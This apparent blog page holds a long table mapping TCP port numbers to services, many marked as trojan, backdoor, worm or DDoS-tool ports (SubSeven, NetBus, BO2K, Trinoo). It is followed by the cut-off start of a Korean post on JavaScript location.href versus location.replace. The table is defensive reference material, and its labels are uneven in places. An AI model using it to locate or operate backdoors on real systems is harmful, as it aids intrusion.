    TCP  3372  Microsoft Distributed Transaction Coordinator (MSDTC) / TIP 2
    TCP  3373  Lavenir License Manager
    TCP  3374  Cluster Disc
    TCP  3375  VSNM Agent
    TCP  3376  CD Broker
    TCP  3377  Cogsys Network License Manager
    TCP  3378  WSICOPY
    TCP  3379  SOCORFS
    TCP  3380  SNS Channels
    TCP  3381  Geneous
    TCP  3382  Fujitsu Network Enhanced Antitheft function
    TCP  3383  Enterprise Software Products License Manager
    TCP  3384  Cluster Management Services
    TCP  3385  qnxnetman
    TCP  3386  GPRS Data
    TCP  3387  Back Room Net
    TCP  3388  CB Server
    TCP  3389  MS Terminal Server
    TCP  3390  Distributed Service Coordinator
    TCP  3391  SAVANT
    TCP  3392  EFI License Management
    TCP  3393  D2K Tapestry Client to Server
    TCP  3394  D2K Tapestry Server to Server
    TCP  3395  Dyna License Manager (Elam)
    TCP  3396  Printer Agent
    TCP  3397  Cloanto License Manager
    TCP  3398  Mercantile
    TCP  3399  CSMS
    TCP  3400  CSMS2
    TCP  3401  filecast
    TCP  3410  Backdoor.OptixPro.13
    TCP  3421  Bull Apprise portmapper
    TCP  3454  Apple Remote Access Protocol
    TCP  3455  RSVP Port
    TCP  3456  VAT default data
    TCP  3457  VAT default control
    TCP  3458  D3WinOsfi
    TCP  3459  TIP Integral
    TCP  3460  EDM Manger
    TCP  3461  EDM Stager
    TCP  3462  EDM STD Notify
    TCP  3463  EDM ADM Notify
    TCP  3464  EDM MGR Sync
    TCP  3465  EDM MGR Cntrl
    TCP  3466  WORKFLOW
    TCP  3467  RCST
    TCP  3468  TTCM Remote Controll
    TCP  3469  Pluribus
    TCP  3470  jt400
    TCP  3471  jt400-ssl
    TCP  3535  MS-LA
    TCP  3563  Watcom Debug
    TCP  3572  harlequin.co.uk
    TCP  3672  harlequinorb
    TCP  3689  Apple Digital Audio Access Protocol
    TCP  3802  VHD
    TCP  3845  V-ONE Single Port Proxy
    TCP  3862  GIGA-POCKET
    TCP  3875  PNBSCADA
    TCP  3900  Unidata UDT OS
    TCP  3984  MAPPER network node manager
    TCP  3985  MAPPER TCP/IP server
    TCP  3986  MAPPER workstation server
    TCP  3987  Centerline
    TCP  4000  Terabase
    TCP  4001  Cisco mgmt / NewOak
    TCP  4002  pxc-spvr-ft
    TCP  4003  pxc-splr-ft
    TCP  4004  pxc-roid
    TCP  4005  pxc-pin
    TCP  4006  pxc-spvr
    TCP  4007  pxc-splr
    TCP  4008  NetCheque accounting
    TCP  4009  Chimera HWM
    TCP  4010  Samsung Unidex
    TCP  4011  Alternate Service Boot
    TCP  4012  PDA Gate
    TCP  4013  ACL Manager
    TCP  4014  TAICLOCK
    TCP  4015  Talarian Mcast
    TCP  4016  Talarian Mcast
    TCP  4017  Talarian Mcast
    TCP  4018  Talarian Mcast
    TCP  4019  Talarian Mcast
    TCP  4045  nfs-lockd
    TCP  4096  BRE (Bridge Relay Element)
    TCP  4097  Patrol View
    TCP  4098  drmsfsd
    TCP  4099  DPCP
    TCP  4132  NUTS Daemon
    TCP  4133  NUTS Bootp Server
    TCP  4134  NIFTY-Serve HMI protocol
    TCP  4141  Workflow Server
    TCP  4142  Document Server
    TCP  4143  Document Replication
    TCP  4144  Compuserve pc windows
    TCP  4160  Jini Discovery
    TCP  4199  EIMS ADMIN
    TCP  4299  earth.path.net
    TCP  4300  Corel CCam
    TCP  4321  Remote Who Is
    TCP  4333  mini-sql server
    TCP  4343  UNICALL
    TCP  4344  VinaInstall
    TCP  4345  Macro 4 Network AS
    TCP  4346  ELAN LM
    TCP  4347  LAN Surveyor
    TCP  4348  ITOSE
    TCP  4349  File System Port Map
    TCP  4350  Net Device
    TCP  4351  PLCY Net Services
    TCP  4353  F5 iQuery
    TCP  4397  Phatbot Worm
    TCP  4442  Saris
    TCP  4443  Pharos
    TCP  4444  AdSubtract / NV Video default
    TCP  4445  UPNOTIFYP
    TCP  4446  N1-FWP
    TCP  4447  N1-RMGMT
    TCP  4448  ASC Licence Manager
    TCP  4449  PrivateWire
    TCP  4450  Camp
    TCP  4451  CTI System Msg
    TCP  4452  CTI Program Load
    TCP  4453  NSS Alert Manager
    TCP  4454  NSS Agent Manager
    TCP  4455  PR Chat User
    TCP  4456  PR Chat Server
    TCP  4457  PR Register
    TCP  4500  sae-urn
    TCP  4501  urn-x-cdchoice
    TCP  4545  WorldScores
    TCP  4546  SF License Manager (Sentinel)
    TCP  4547  Lanner License Manager
    TCP  4557  FAX transmission service
    TCP  4559  HylaFAX client-service protocol
    TCP  4567  TRAM
    TCP  4568  BMC Reporting
    TCP  4600  Piranha1
    TCP  4601  Piranha2
    TCP  4661  eDonkey2k
    TCP  4662  eDonkey2k
    TCP  4663  eDonkey
    TCP  4665  eDonkey2k
    TCP  4672  remote file access server
    TCP  4675  eMule
    TCP  4711  eMule
    TCP  4751  W32.Beagle.V trojan
    TCP  4772  eMule
    TCP  4800  Icona Instant Messenging System
    TCP  4801  Icona Web Embedded Chat
    TCP  4802  Icona License System Server
    TCP  4820  Backdoor.Tuxter
    TCP  4827  HTCP
    TCP  4837  Varadero-0
    TCP  4838  Varadero-1
    TCP  4868  Photon Relay
    TCP  4869  Photon Relay Debug
    TCP  4885  ABBS
    TCP  4899  RAdmin Win32 remote control
    TCP  4983  AT&T Intercom
    TCP  5000  UPnP / filmaker.com / Socket de Troie (Windows Trojan)
    TCP  5001  filmaker.com / Socket de Troie (Windows Trojan)
    TCP  5002  radio free ethernet
    TCP  5003  FileMaker Inc. - Proprietary transport
    TCP  5004  avt-profile-1
    TCP  5005  avt-profile-2
    TCP  5006  wsm server
    TCP  5007  wsm server ssl
    TCP  5010  TelepathStart
    TCP  5011  TelepathAttack
    TCP  5020  zenginkyo-1
    TCP  5021  zenginkyo-2
    TCP  5042  asnaacceler8db
    TCP  5050  Yahoo Messenger / multimedia conference control tool
    TCP  5051  ITA Agent
    TCP  5052  ITA Manager
    TCP  5055  UNOT
    TCP  5060  SIP
    TCP  5069  I/Net 2000-NPR
    TCP  5071  PowerSchool
    TCP  5093  Sentinel LM
    TCP  5099  SentLM Srv2Srv
    TCP  5101  Yahoo! Messenger
    TCP  5145  RMONITOR SECURE
    TCP  5150  Ascend Tunnel Management Protocol
    TCP  5151  ESRI SDE Instance
    TCP  5152  ESRI SDE Instance Discovery
    TCP  5165  ife_1corp
    TCP  5190  America-Online
    TCP  5191  AmericaOnline1
    TCP  5192  AmericaOnline2
    TCP  5193  AmericaOnline3
    TCP  5200  Targus AIB 1
    TCP  5201  Targus AIB 2
    TCP  5202  Targus TNTS 1
    TCP  5203  Targus TNTS 2
    TCP  5222  Jabber Server
    TCP  5232  SGI Distribution Graphics
    TCP  5236  padl2sim
    TCP  5272  PK
    TCP  5300  HA cluster heartbeat
    TCP  5301  HA cluster general services
    TCP  5302  HA cluster configuration
    TCP  5303  HA cluster probing
    TCP  5304  HA Cluster Commands
    TCP  5305  HA Cluster Test
    TCP  5306  Sun MC Group
    TCP  5307  SCO AIP
    TCP  5308  CFengine
    TCP  5309  J Printer
    TCP  5310  Outlaws
    TCP  5311  TM Login
    TCP  5373  W32.Gluber.B@mm
    TCP  5400  Excerpt Search / Blade Runner (Windows Trojan)
    TCP  5401  Excerpt Search Secure / Blade Runner (Windows Trojan)
    TCP  5402  MFTP / Blade Runner (Windows Trojan)
    TCP  5403  HPOMS-CI-LSTN
    TCP  5404  HPOMS-DPS-LSTN
    TCP  5405  NetSupport
    TCP  5406  Systemics Sox
    TCP  5407  Foresyte-Clear
    TCP  5408  Foresyte-Sec
    TCP  5409  Salient Data Server
    TCP  5410  Salient User Manager
    TCP  5411  ActNet
    TCP  5412  Continuus
    TCP  5413  WWIOTALK
    TCP  5414  StatusD
    TCP  5415  NS Server
    TCP  5416  SNS Gateway
    TCP  5417  SNS Agent
    TCP  5418  MCNTP
    TCP  5419  DJ-ICE
    TCP  5420  Cylink-C
    TCP  5421  Net Support 2
    TCP  5422  Salient MUX
    TCP  5423  VIRTUALUSER
    TCP  5426  DEVBASIC
    TCP  5427  SCO-PEER-TTA
    TCP  5428  TELACONSOLE
    TCP  5429  Billing and Accounting System Exchange
    TCP  5430  RADEC CORP
    TCP  5431  PARK AGENT
    TCP  5432  postgres database server
    TCP  5435  Data Tunneling Transceiver Linking (DTTL)
    TCP  5454  apc-tcp-udp-4
    TCP  5455  apc-tcp-udp-5
    TCP  5456  apc-tcp-udp-6
    TCP  5461  SILKMETER
    TCP  5462  TTL Publisher
    TCP  5465  NETOPS-BROKER
    TCP  5490  Squid HTTP Proxy
    TCP  5500  fcp-addr-srvr1
    TCP  5501  fcp-addr-srvr2
    TCP  5502  fcp-srvr-inst1
    TCP  5503  fcp-srvr-inst2
    TCP  5504  fcp-cics-gw1
    TCP  5510  ACE/Server Services
    TCP  5520  ACE/Server Services
    TCP  5530  ACE/Server Services
    TCP  5540  ACE/Server Services
    TCP  5550  ACE/Server Services / Xtcp 2.0x
    TCP  5554  Sasser Worm FTP backdoor / SGI ESP HTTP
    TCP  5555  Personal Agent / W32.Mimail.P@mm
    TCP  5556  Mtbd (mtb backup)
    TCP  5559  Enterprise Security Remote Install axent.com
    TCP  5599  Enterprise Security Remote Install
    TCP  5600  Enterprise Security Manager
    TCP  5601  Enterprise Security Agent
    TCP  5602  A1-MSC
    TCP  5603  A1-BS
    TCP  5604  A3-SDUNode
    TCP  5605  A4-SDUNode
    TCP  5631  pcANYWHEREdata
    TCP  5632  pcANYWHEREstat
    TCP  5678  LinkSys EtherFast Router Remote Administration / Remote Replication Agent Connection
    TCP  5679  Direct Cable Connect Manager
    TCP  5680  Canna (Japanese Input)
    TCP  5713  proshare conf audio
    TCP  5714  proshare conf video
    TCP  5715  proshare conf data
    TCP  5716  proshare conf request
    TCP  5717  proshare conf notify
    TCP  5729  Openmail User Agent Layer
    TCP  5741  IDA Discover Port 1
    TCP  5742  IDA Discover Port 2 / Wincrash (Windows Trojan)
    TCP  5745  fcopy-server
    TCP  5746  fcopys-server
    TCP  5755  OpenMail Desk Gateway server
    TCP  5757  OpenMail X.500 Directory Server
    TCP  5766  OpenMail NewMail Server
    TCP  5767  OpenMail Suer Agent Layer (Secure)
    TCP  5768  OpenMail CMTS Server
    TCP  5771  NetAgent
    TCP  5800  VNC Virtual Network Computing
    TCP  5801  VNC Virtual Network Computing
    TCP  5813  ICMPD
    TCP  5859  WHEREHOO
    TCP  5882  Y3k
    TCP  5900  VNC Virtual Network Computing
    TCP  5901  VNC Virtual Network Computing
    TCP  5968  mppolicy-v5
    TCP  5969  mppolicy-mgr
    TCP  5977  NCD preferences TCP port
    TCP  5978  NCD diagnostic TCP port
    TCP  5979  NCD configuration TCP port
    TCP  5980  VNC Virtual Network Computing
    TCP  5981  VNC Virtual Network Computing
    TCP  5987  Solaris Web Enterprise Management RMI
    TCP  5997  NCD preferences telnet port
    TCP  5998  NCD diagnostic telnet port
    TCP  5999  CVSup
    TCP  6000  X-Windows / W32.LoveGate.ak virus
    TCP  6001  Cisco mgmt
    TCP  6003  Half-Life WON server
    TCP  6063  X Windows System mit.edu
    TCP  6064  NDL-AHP-SVC
    TCP  6065  WinPharaoh
    TCP  6066  EWCTSP
    TCP  6067  SRB
    TCP  6068  GSMP
    TCP  6069  TRIP
    TCP  6070  Messageasap
    TCP  6071  SSDTP
    TCP  6072  DIAGNOSE-PROC
    TCP  6073  DirectPlay8
    TCP  6100  SynchroNet-db
    TCP  6101  SynchroNet-rtc
    TCP  6102  SynchroNet-upd
    TCP  6103  RETS
    TCP  6104  DBDB
    TCP  6105  Prima Server
    TCP  6106  MPS Server
    TCP  6107  ETC Control
    TCP  6108  Sercomm-SCAdmin
    TCP  6109  GLOBECAST-ID
    TCP  6110  HP SoftBench CM
    TCP  6111  HP SoftBench Sub-Process Control
    TCP  6112  dtspcd / Blizzard Battlenet
    TCP  6123  Backup Express
    TCP  6129  DameWare
    TCP  6141  Meta Corporation License Manager
    TCP  6142  Aspen Technology License Manager
    TCP  6143  Watershed License Manager
    TCP  6144  StatSci License Manager - 1
    TCP  6145  StatSci License Manager - 2
    TCP  6146  Lone Wolf Systems License Manager
    TCP  6147  Montage License Manager
    TCP  6148  Ricardo North America License Manager
    TCP  6149  tal-pod
    TCP  6253  CRIP
    TCP  6321  Empress Software Connectivity Server 1
    TCP  6322  Empress Software Connectivity Server 2
    TCP  6346  Gnutella/Bearshare file sharing Application
    TCP  6348  Limewire P2P
    TCP  6389  clariion-evr01
    TCP  6400  saegatesoftware.com
    TCP  6401  saegatesoftware.com
    TCP  6402  saegatesoftware.com
    TCP  6403  saegatesoftware.com
    TCP  6404  saegatesoftware.com
    TCP  6405  saegatesoftware.com
    TCP  6406  saegatesoftware.com
    TCP  6407  saegatesoftware.com
    TCP  6408  saegatesoftware.com
    TCP  6409  saegatesoftware.com
    TCP  6410  saegatesoftware.com
    TCP  6455  SKIP Certificate Receive
    TCP  6456  SKIP Certificate Send
    TCP  6471  LVision License Manager
    TCP  6500  BoKS Master
    TCP  6501  BoKS Servc
    TCP  6502  BoKS Servm
    TCP  6503  BoKS Clntd
    TCP  6505  BoKS Admin Private Port
    TCP  6506  BoKS Admin Public Port
    TCP  6507  BoKS Dir Server Private Port
    TCP  6508  BoKS Dir Server Public Port
    TCP  6547  apc-tcp-udp-1
    TCP  6548  apc-tcp-udp-2
    TCP  6549  apc-tcp-udp-3
    TCP  6550  fg-sysupdate
    TCP  6558  xdsxdm
    TCP  6588  AnalogX Web Proxy
    TCP  6665  Internet Relay Chat
    TCP  6666  IRC / Windows Media Unicast Service
    TCP  6667  IRC
    TCP  6668  IRC
    TCP  6669  IRC
    TCP  6670  Vocaltec Global Online Directory / Deep Throat 2 (Windows Trojan)
    TCP  6672  vision_server
    TCP  6673  vision_elmd
    TCP  6699  Napster
    TCP  6700  Napster / Carracho (server)
    TCP  6701  KTI/ICAD Nameserver
    TCP  6701  Napster / Carracho (server)
    TCP  6711  SubSeven (Windows Trojan)
    TCP  6723  DDOS communication TCP
    TCP  6767  BMC PERFORM AGENT
    TCP  6768  BMC PERFORM MGRD
    TCP  6776  SubSeven/BackDoor-G (Windows Trojan)
    TCP  6777  W32.Beagle.A trojan
    TCP  6789  IBM DB2
    TCP  6790  HNMP / IBM DB2
    TCP  6831  ambit-lm
    TCP  6841  Netmo Default
    TCP  6842  Netmo HTTP
    TCP  6850  ICCRUSHMORE
    TCP  6881  BitTorrent Network
    TCP  6888  MUSE
    TCP  6891  MS Messenger file transfer
    TCP  6901  MS Messenger voice calls
    TCP  6961  JMACT3
    TCP  6962  jmevt2
    TCP  6963  swismgr1
    TCP  6964  swismgr2
    TCP  6965  swistrap
    TCP  6966  swispol
    TCP  6969  acmsoda
    TCP  6998  IATP-highPri
    TCP  6999  IATP-normalPri
    TCP  7000  IRC / file server itself
    TCP  7001  WebLogic Server / Callbacks to cache managers
    TCP  7002  WebLogic Server (SSL) / Half-Life Auth Server / Users & groups database
    TCP  7003  volume location database
    TCP  7004  AFS/Kerberos authentication service
    TCP  7005  volume managment server
    TCP  7006  error interpretation service
    TCP  7007  Windows Media Services / basic overseer process
    TCP  7008  server-to-server updater
    TCP  7009  remote cache manager service
    TCP  7010  onlinet uninterruptable power supplies
    TCP  7011  Talon Discovery Port
    TCP  7012  Talon Engine
    TCP  7013  Microtalon Discovery
    TCP  7014  Microtalon Communications
    TCP  7015  Talon Webserver
    TCP  7020  DP Serve
    TCP  7021  DP Serve Admin
    TCP  7070  ARCP
    TCP  7099  lazy-ptop
    TCP  7100  X Font Service
    TCP  7121  Virtual Prototypes License Manager
    TCP  7141  vnet.ibm.com
    TCP  7161  Catalyst
    TCP  7174  Clutild
    TCP  7200  FODMS FLIP
    TCP  7201  DLIP
    TCP  7323  3.11 Remote Administration
    TCP  7326  Internet Citizen's Band
    TCP  7390  The Swiss Exchange swx.ch
    TCP  7395  winqedit
    TCP  7426  OpenView DM Postmaster Manager
    TCP  7427  OpenView DM Event Agent Manager
    TCP  7428  OpenView DM Log Agent Manager
    TCP  7429  OpenView DM rqt communication
    TCP  7430  OpenView DM xmpv7 api pipe
    TCP  7431  OpenView DM ovc/xmpv3 api pipe
    TCP  7437  Faximum
    TCP  7491  telops-lmd
    TCP  7511  pafec-lm
    TCP  7544  FlowAnalyzer DisplayServer
    TCP  7545  FlowAnalyzer UtilityServer
    TCP  7566  VSI Omega
    TCP  7570  Aries Kfinder
    TCP  7588  Sun License Manager
    TCP  7597  TROJAN WORM
    TCP  7633  PMDF Management
    TCP  7640  CUSeeMe
    TCP  7777  Oracle App server / cbt
    TCP  7778  Windows Media Services / Interwise
    TCP  7781  accu-lmgr
    TCP  7786  MINIVEND
    TCP  7932  Tier 2 Data Resource Manager
    TCP  7933  Tier 2 Business Rules Manager
    TCP  7967  Supercell
    TCP  7979  Micromuse-ncps
    TCP  7980  Quest Vista
    TCP  7999  iRDMI2
    TCP  8000  HTTP/iRDMI
    TCP  8001  HTTP/VCOM Tunnel
    TCP  8002  HTTP/Teradata ORDBMS
    TCP  8007  Apache JServ Protocol
    TCP  8008  HTTP Alternate
    TCP  8009  Apache JServ Protocol
    TCP  8010  Wingate HTTP Proxy
    TCP  8032  ProEd
    TCP  8033  MindPrint
    TCP  8080  HTTP / HTTP Proxy
    TCP  8081  HTTP / HTTP Proxy
    TCP  8082  BlackICE Capture
    TCP  8129  Snapstream PVS Server
    TCP  8130  INDIGO-VRMI
    TCP  8131  INDIGO-VBCP
    TCP  8160  Patrol
    TCP  8161  Patrol SNMP
    TCP  8181  IPSwitch IMail / Monitor
    TCP  8200  TRIVNET
    TCP  8201  TRIVNET
    TCP  8204  LM Perfworks
    TCP  8205  LM Instmgr
    TCP  8206  LM Dta
    TCP  8207  LM SServer
    TCP  8208  LM Webwatcher
    TCP  8351  Server Find
    TCP  8376  Cruise ENUM
    TCP  8377  Cruise SWROUTE
    TCP  8378  Cruise CONFIG
    TCP  8379  Cruise DIAGS
    TCP  8380  Cruise UPDATE
    TCP  8383  Web Email
    TCP  8400  cvd
    TCP  8401  sabarsd
    TCP  8402  abarsd
    TCP  8403  admind
    TCP  8431  Micro PC-Cilin
    TCP  8450  npmp
    TCP  8473  Virtual Point to Point
    TCP  8484  Ipswitch IMail
    TCP  8554  RTSP Alternate (see port 554)
    TCP  8733  iBus
    TCP  8763  MC-APPSERVER
    TCP  8764  OPENQUEUE
    TCP  8765  Ultraseek HTTP
    TCP  8804  truecm
    TCP  8866  W32.Beagle.B trojan
    TCP  8880  CDDBP
    TCP  8888  NewsEDGE server TCP / AnswerBook2
    TCP  8889  Desktop Data TCP 1
    TCP  8890  Desktop Data TCP 2
    TCP  8891  Desktop Data TCP 3: NESS application
    TCP  8892  Desktop Data TCP 4: FARM product
    TCP  8893  Desktop Data TCP 5: NewsEDGE/Web application
    TCP  8894  Desktop Data TCP 6: COAL application
    TCP  8900  JMB-CDS 1
    TCP  8901  JMB-CDS 2
    TCP  8967  Win32/Dabber (Windows worm)
    TCP  8999  Firewall
    TCP  9000  CSlistener
    TCP  9001  cisco-xremote
    TCP  9090  WebSM
    TCP  9100  HP JetDirect
    TCP  9160  NetLOCK1
    TCP  9161  NetLOCK2
    TCP  9162  NetLOCK3
    TCP  9163  NetLOCK4
    TCP  9164  NetLOCK5
    TCP  9200  WAP connectionless session service
    TCP  9201  WAP session service
    TCP  9202  WAP secure connectionless session service
    TCP  9203  WAP secure session service
    TCP  9204  WAP vCard
    TCP  9205  WAP vCal
    TCP  9206  WAP vCard Secure
    TCP  9207  WAP vCal Secure
    TCP  9273  BackGate (Windows rootkit)
    TCP  9274  BackGate (Windows rootkit)
    TCP  9275  BackGate (Windows rootkit)
    TCP  9276  BackGate (Windows rootkit)
    TCP  9277  BackGate (Windows rootkit)
    TCP  9278  BackGate (Windows rootkit)
    TCP  9280  HP JetDirect Embedded Web Server
    TCP  9290  HP JetDirect
    TCP  9291  HP JetDirect
    TCP  9292  HP JetDirect
    TCP  9321  guibase
    TCP  9343  MpIdcMgr
    TCP  9344  Mphlpdmc
    TCP  9374  fjdmimgr
    TCP  9396  fjinvmgr
    TCP  9397  MpIdcAgt
    TCP  9400  InCommand
    TCP  9500  ismserver
    TCP  9535  Remote man server
    TCP  9537  Remote man server, testing
    TCP  9594  Message System
    TCP  9595  Ping Discovery Service
    TCP  9600  MICROMUSE-NCPW
    TCP  9753  rasadv
    TCP  9876  Session Director
    TCP  9888  CYBORG Systems
    TCP  9898  MonkeyCom / Win32/Dabber (Windows worm)
    TCP  9899  SCTP TUNNELING
    TCP  9900  IUA
    TCP  9909  domaintime
    TCP  9950  APCPCPLUSWIN1
    TCP  9951  APCPCPLUSWIN2
    TCP  9952  APCPCPLUSWIN3
    TCP  9992  Palace
    TCP  9993  Palace
    TCP  9994  Palace
    TCP  9995  Palace
    TCP  9996  Sasser Worm shell / Palace
    TCP  9997  Palace
    TCP  9998  Distinct32
    TCP  9999  distinct / Win32/Dabber (Windows worm)
    TCP  10000  Webmin / Network Data Management Protocol/ Dumaru.Y (Windows trojan)
    TCP  10001  queue
    TCP  10002  poker
    TCP  10003  gateway
    TCP  10004  remp
    TCP  10005  Secure telnet
    TCP  10007  MVS Capacity
    TCP  10012  qmaster
    TCP  10080  Amanda / MyDoom.B (Windows trojan)
    TCP  10082  Amanda Indexing
    TCP  10083  Amanda Tape Indexing
    TCP  10113  NetIQ Endpoint
    TCP  10114  NetIQ Qcheck
    TCP  10115  Ganymede Endpoint
    TCP  10128  BMC-PERFORM-SERVICE DAEMON
    TCP  10202  Computer Associate License Manager
    TCP  10203  Computer Associate License Manager
    TCP  10204  Computer Associate License Manager
    TCP  10288  Blocks
    TCP  10520  Acid Shivers (Windows Trojan)
    TCP  11000  IRISA
    TCP  11001  Metasys
    TCP  11111  Viral Computing Environment (VCE)
    TCP  11117  W32.Beagle.L trojan / URBISNET
    TCP  11367  ATM UHAS
    TCP  11523  AOL / AdSubtract AOL Proxy
    TCP  11720  h323 Call Signal Alternate
    TCP  11722  RK Test
    TCP  12000  IBM Enterprise Extender SNA XID Exchange
    TCP  12001  IBM Enterprise Extender SNA COS Network Priority
    TCP  12002  IBM Enterprise Extender SNA COS High Priority
    TCP  12003  IBM Enterprise Extender SNA COS Medium Priority
    TCP  12004  IBM Enterprise Extender SNA COS Low Priority
    TCP  12172  HiveP
    TCP  12345  Netbus (Windows Trojan)
    TCP  12346  NetBus (Windows Trojan)
    TCP  12348  BioNet (Windows Trojan)
    TCP  12349  BioNet (Windows Trojan)
    TCP  12361  Whack-a-mole (Windows Trojan)
    TCP  12362  Whack-a-mole (Windows Trojan)
    TCP  12753  tsaf port
    TCP  12754  DDOS communication TCP
    TCP  13160  I-ZIPQD
    TCP  13223  PowWow Client
    TCP  13224  PowWow Server
    TCP  13326  game
    TCP  13720  BPRD Protocol (VERITAS NetBackup)
    TCP  13721  BPBRM Protocol (VERITAS NetBackup)
    TCP  13722  BP Java MSVC Protocol
    TCP  13782  VERITAS NetBackup
    TCP  13783  VOPIED Protnocol
    TCP  13818  DSMCC Config
    TCP  13819  DSMCC Session Messages
    TCP  13820  DSMCC Pass-Thru Messages
    TCP  13821  DSMCC Download Protocol
    TCP  13822  DSMCC Channel Change Protocol
    TCP  14001  ITU SCCP (SS7)
    TCP  14237  Palm Network Hotsync
    TCP  14247  Mitglieder.H trojan
    TCP  15104  DDOS communication TCP
    TCP  16360  netserialext1
    TCP  16361  netserialext2
    TCP  16367  netserialext3
    TCP  16368  netserialext4
    TCP  16660  Stacheldraht distributed attack tool client
    TCP  16959  Subseven DEFCON8 2.1 backdoor remote access tool
    TCP  16991  INTEL-RCI-MP
    TCP  17007  isode-dua
    TCP  17219  Chipper
    TCP  17300  Kuang2 (Windows trojan)
    TCP  17569  Infector
    TCP  17990  Worldspan gateway
    TCP  18000  Beckman Instruments Inc.
    TCP  18181  OPSEC CVP
    TCP  18182  OPSEC UFP
    TCP  18183  OPSEC SAM
    TCP  18184  OPSEC LEA
    TCP  18185  OPSEC OMI
    TCP  18187  OPSEC ELA
    TCP  18463  AC Cluster
    TCP  18753  Shaft distributed attack tool handler agent
    TCP  18888  APCNECMP
    TCP  19216  BackGate (Windows rootkit)
    TCP  19283  Key Server for SASSAFRAS
    TCP  19315  Key Shadow for SASSAFRAS
    TCP  19410  hp-sco
    TCP  19411  hp-sca
    TCP  19412  HP-SESSMON
    TCP  19541  JCP Client
    TCP  20000  DNP
    TCP  20005  xcept4 (German Telekom's CEPT videotext service)
    TCP  20031  BakBone NetVault
    TCP  20034  NetBus 2 Pro (Windows Trojan)
    TCP  20432  Shaft distributed attack client
    TCP  20670  Track
    TCP  20742  Mitglieder.E trojan
    TCP  20999  At Hand MMP
    TCP  21554  Girlfriend (Windows Trojan)
    TCP  21590  VoFR Gateway
    TCP  21845  webphone
    TCP  21846  NetSpeak Corp. Directory Services
    TCP  21847  NetSpeak Corp. Connection Services
    TCP  21848  NetSpeak Corp. Automatic Call Distribution
    TCP  21849  NetSpeak Corp. Credit Processing System
    TCP  22000  SNAPenetIO
    TCP  22001  OptoControl
    TCP  22156  Phatbot Worm
    TCP  22273  wnn6
    TCP  22289  Wnn6 (Chinese Input)
    TCP  22305  Wnn6 (Korean Input)
    TCP  22321  Wnn6 (Taiwanese Input)
    TCP  22555  Vocaltec Web Conference
    TCP  22800  Telerate Information Platform LAN
    TCP  22951  Telerate Information Platform WAN
    TCP  23005  W32.HLLW.Nettrash
    TCP  23006  W32.HLLW.Nettrash
    TCP  23432  Asylum
    TCP  23476  Donald Dick
    TCP  23477  Donald Dick
    TCP  23485  Shareasa file sharing
    TCP  24000  med-ltp
    TCP  24001  med-fsp-rx
    TCP  24002  med-fsp-tx
    TCP  24003  med-supp
    TCP  24004  med-ovw
    TCP  24005  med-ci
    TCP  24006  med-net-svc
    TCP  24386  Intel RCI
    TCP  24554  BINKP
    TCP  25000  icl-twobase1
    TCP  25001  icl-twobase2
    TCP  25002  icl-twobase3
    TCP  25003  icl-twobase4
    TCP  25004  icl-twobase5
    TCP  25005  icl-twobase6
    TCP  25006  icl-twobase7
    TCP  25007  icl-twobase8
    TCP  25008  icl-twobase9
    TCP  25009  icl-twobase10
    TCP  25555  Mitglieder.D trojan
    TCP  25793  Vocaltec Address Server
    TCP  25867  WebCam32 Admin
    TCP  26000  quake
    TCP  26208  wnn6-ds
    TCP  26274  Delta Source (Windows Trojan)
    TCP  27347  SubSeven / Linux.Ramen.Worm (RedHat Linux)
    TCP  27374  SubSeven / Linux.Ramen.Worm (RedHat Linux)
    TCP  27665  Trinoo distributed attack tool Master server control port
    TCP  27999  TW Authentication/Key Distribution and
    TCP  30100  Netsphere (Windows Trojan)
    TCP  30101  Netsphere (Windows Trojan)
    TCP  30102  Netsphere (Windows Trojan)
    TCP  30999  Kuang
    TCP  31337  BO2K
    TCP  31785  Hack-A-Tack (Windows Trojan)
    TCP  31787  Hack-A-Tack (Windows Trojan)
    TCP  31788  Hack-A-Tack (Windows Trojan)
    TCP  31789  Hack-A-Tack (Windows Trojan)
    TCP  31791  Hack-A-Tack (Windows Trojan)
    TCP  32000  XtraMail v1.11
    TCP  32768  Filenet TMS
    TCP  32769  Filenet RPC
    TCP  32770  Filenet NCH
    TCP  32771  Solaris RPC
    TCP  32772  Solaris RPC
    TCP  32773  Solaris RPC
    TCP  32774  Solaris RPC
    TCP  32775  Solaris RPC
    TCP  32776  Solaris RPC
    TCP  32777  Solaris RPC
    TCP  32780  RPC
    TCP  33434  traceroute use
    TCP  34324  Big Gluck (Windows Trojan)
    TCP  36865  KastenX Pipe
    TCP  40421  Master's Paradise (Windows Trojan)
    TCP  40422  Master's Paradise (Windows Trojan)
    TCP  40423  Master's Paradise (Windows Trojan)
    TCP  40426  Master's Paradise (Windows Trojan)
    TCP  40841  CSCP
    TCP  42424  ASP.NET Session State
    TCP  43118  Reachout
    TCP  43188  Reachout
    TCP  44333  Kerio WinRoute Firewall Administration
    TCP  44334  Kerio Personal Firewall Administration
    TCP  44337  Kerio MailServer Administration
    TCP  44444  Prosiak
    TCP  44818  Rockwell Encapsulation
    TCP  45092  BackGate (Windows rootkit)
    TCP  45678  EBA PRISE
    TCP  45966  SSRServerMgr
    TCP  47262  Delta Source (Windows Trojan)
    TCP  47557  Databeam Corporation
    TCP  47624  Direct Play Server
    TCP  47806  ALC Protocol
    TCP  47808  Building Automation and Control Networks
    TCP  48000  Nimbus Controller
    TCP  48001  Nimbus Spooler
    TCP  48002  Nimbus Hub
    TCP  48003  Nimbus Gateway
    TCP  49400  Compaq Insight Manager
    TCP  49401  Compaq Insight Manager
    TCP  50300  O&O Defrag
    TCP  51515  Microsoft Operations Manager MOM-Clear
    TCP  52673  Stickies
    TCP  54283  SubSeven
    TCP  54320  Orifice 2000 (TCP)
    TCP  54321  Orifice 2000 (TCP)
    TCP  60000  DeepThroat
    TCP  65000  distributed attack tool / Devil (Windows Trojan)
    TCP  65301  pcAnywhere-def
    TCP  65506  PhatBot, Agobot, Gaobot (Windows trojans)
    Posted by 1010
    반응형

    javascript 페이지이동명령어의 차이점

     

    javascript 로 페이지를 이동시키는 방법은 여러가지가 있다.

    그중에 가장 일반적인 방법은 아마도 location.href = "{페이지URL}" 이 아닌가 싶다.

    이 방법 말고도 location.replace("{페이지URL}") 도 가능하다.

    그럼 이 두녀석의 차이점은 무엇일까... 한번 알아보자.

    모든 답은 내가 항상 애용하는 MSDN 에 다 있다. 그럼 확인해 보자.

    일단 href 속성에는 별 특별한 설명이 없다. ㅡ,.ㅡ... 단지 "Sets or retrieves the entire URL as a string." 라고만 나와있다. 머.. 설명할게 별로 없나보다. ㅎㅎㅎ

    그럼 이번엔 replace() 이녀석을 한번 보자.

